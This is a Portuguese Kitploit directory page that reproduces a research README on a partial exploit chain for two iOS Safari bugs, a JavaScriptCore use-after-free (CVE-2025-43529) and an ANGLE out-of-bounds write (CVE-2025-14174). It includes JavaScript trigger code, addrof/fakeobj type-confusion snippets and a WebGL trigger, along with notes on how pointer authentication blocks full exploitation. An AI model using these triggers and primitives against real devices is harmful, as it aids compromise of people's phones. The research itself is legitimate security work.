Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
WebKit-UAF-ANGLE-OOB-Analysis — Análise da cadeia de exploração CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari | Kitploit
Ferramentas/GitHubGitHub/0xjohnnydev/webkit-uaf-angle-oob-analysis
Segurança iOSAnálise de VulnerabilidadesExploraçãoEngenharia ReversaSegurança WebSegurança MóvelPapers e PesquisaExploração de Binários

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
0xjohnnydev/webkit-uaf-angle-oob-analysis

WebKit-UAF-ANGLE-OOB-Analysis

Análise da cadeia de exploração CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari

Ver Repositório
10321há 1 mêsRevisado pelo Kitploit

WebKit-UAF-ANGLE-OOB-Analysis (CVE-2025-43529, CVE-2025-14174)

Notas e material de PoC para uma cadeia WebKit/ANGLE no iOS 26.1. Este não é um exploit completo; ele separa as primitivas verificadas das partes que ainda falham.

Autor: zeroxjf
Baseado em: exploit da CVE-2025-43529 do jir4vv1t
Status: Cadeia parcial; R/W arbitrário não comprovado
Dispositivo de Teste: iPhone 11 Pro Max, iOS 26.1
Última Atualização: Janeiro de 2026


Escopo e créditos

O gatilho de UAF da CVE-2025-43529, a recuperação de butterfly e as primitivas addrof/fakeobj são baseados no trabalho do jir4vv1t. Minhas contribuições são a implementação do OOB no ANGLE, a análise focada em PAC e a validação no iOS 26.1.

Visão geral

Duas CVEs do WebKit divulgadas em conjunto e reportadas como exploração ativa pela Apple.

CVEComponenteTipoResumo
CVE-2025-43529JavaScriptCoreUse-After-FreeAusência de write barrier no DFG JIT leva o GC a liberar objetos vivos
CVE-2025-14174ANGLE (GPU)Escrita fora dos limitesO backend Metal usa a altura errada na alocação do buffer de staging

CVE-2025-43529: UAF de Store Barrier no DFG do WebKit

Causa raiz

O bug está no DFG JIT do JavaScriptCore, especificamente na Fase de Inserção de Store Barrier (DFGStoreBarrierInsertionPhase.cpp).

Quando um nó Phi escapa, mas suas entradas Upsilon não são marcadas como escapadas, os stores posteriores perdem a barreira de escrita. Isso permite que o GC libere objetos que ainda estão acessíveis.

Mecanismo de gatilho

root@kitploit:~
function triggerUAF(flag, k, allocCount) {
    let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
    arr[arr_index] = A;  // A in old space

    let a = new Date(1111);
    a[0] = 1.1;  // Creates butterfly for Date

    // Force GC
    for (let j = 0; j < allocCount; ++j) {
        forGC.push(new ArrayBuffer(0x800000));
    }

    let b = { p0: 0x42424242, p1: 1.1 };

    // Phi node - the bug
    let f = b;
    if (flag) f = 1.1;

    A.p1 = f;  // Phi escapes, but 'b' NOT marked as escaped

    // Long loop = GC race window
    for (let i = 0; i < 1e6; ++i) { /* ... */ }

    b.p1 = a;  // NO WRITE BARRIER - 'a' freed while still reachable
}

Esboço da exploração

O butterfly do Date liberado pode ser recuperado por arrays de spray, criando uma confusão de tipos:

root@kitploit:~
// After reclaim:
boxed_arr[0] = obj;           // Store object reference
addr = ftoi(unboxed_arr[0]);  // Read as float64 = leaked address

unboxed_arr[0] = itof(addr);  // Write address as float64
fake = boxed_arr[0];          // Read as object = fakeobj

Resultados atuais (iPhone 11 Pro Max, iOS 26.1)

  • addrof/fakeobj: Verificado em execuções de sonda
  • Vazamento de endereços: Mais de 20 endereços de objetos capturados por execução
  • Leitura/escrita de inline storage: Verificado em slots inline conhecidos (baseado em endereço de objeto)
  • R/W arbitrário: Não comprovado; a prova de varredura do backing store falha nas execuções atuais

CVE-2025-14174: Escrita OOB no Backend Metal do ANGLE

Causa raiz

No backend Metal do ANGLE (TextureMtl.cpp), a alocação do buffer de staging usa UNPACK_IMAGE_HEIGHT em vez da altura real da textura ao fazer upload via PBO.

Gatilho

root@kitploit:~
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // Small value

// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write:   256 * 256 * 4 = 256KB
// OOB: 240KB!

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
              256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

O problema do PAC

O que está bloqueando a exploração completa

No arm64e (iPhone 11 Pro Max), os Pointer Authentication Codes protegem ponteiros críticos do JSC:

PonteiroProtegidoResultado
TypedArray m_vectorSimNão é possível falsificar TypedArray com backing store arbitrário
JSArray butterflySimNão é possível falsificar JSArray com butterfly arbitrário

Quando tento criar um TypedArray/JSArray falso com um ponteiro de dados arbitrário, a verificação do PAC falha e ocorre um crash:

root@kitploit:~
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)

Por que a confusão original funciona

A confusão de tipos funciona porque ambos os arrays usam ponteiros de butterfly legitimamente assinados — estamos apenas reinterpretando a mesma memória. Objetos falsos com ponteiros arbitrários não assinados travam na verificação do PAC.

Caminhos de bypass não comprovados

  1. Caminhos do JIT que usam um ponteiro assinado de um objeto legítimo sem reautenticar campos controlados pelo atacante.
  2. Um gadget de assinatura ou API acessível que assine um ponteiro de dados controlado com o contexto correto.
  3. Um uso diferente do OOB do ANGLE que evite totalmente backing stores falsos de TypedArray/JSArray.

Capacidades atuais


Resumo de evidências (última execução da sonda)

  • Verificado: addrof, fakeobj, vazamentos de endereço, leitura/escrita de slot inline em objetos conhecidos
  • Não verificado: read64/write64 arbitrários, cadeia de escape renderer→GPU, escape do sandbox
  • Sonda ANGLE: caminho de PBO WebGL2 implementado; gatilho não confirmado nas execuções atuais

Estrutura do repositório

root@kitploit:~
├── README.md                 # This file
├── poc/
│   └── chained_exploit_probe.html
└── analysis/
    ├── pac_analysis.md       # Detailed PAC findings
    └── crash_logs/           # Example crash reports

Agradecimentos

O gatilho da CVE-2025-43529, a técnica de recuperação de butterfly e a construção de addrof/fakeobj são baseados em jir4vv1t/CVE-2025-43529. Este repositório adiciona validação no iOS 26.1, notas sobre PAC e a implementação do OOB do ANGLE.


Referências

  • jir4vv1t/CVE-2025-43529 - Exploit UAF original e análise
  • WebKit Bugzilla: 302502, 303614
  • Apple Security Updates - iOS 26
  • Google Threat Analysis Group

Estado atual: útil para reproduzir a primitiva do JSC e o bloqueio do PAC; não é uma cadeia de exploit completa.

Baixar ferramenta
PrimitivaStatusObservações
addrof(obj)FuncionandoVerificado na sonda
fakeobj(addr)FuncionandoVerificado com objetos conhecidos
Vazamento de endereçosFuncionandoMais de 20 endereços por execução
Leitura/escrita de slot inlineFuncionandoVerificado em slots inline conhecidos (baseado em endereço de objeto)
read64(addr)Não verificadoConstruído via truque de slot inline; prova falhou
write64(addr)Não verificadoConstruído via truque de slot inline; prova falhou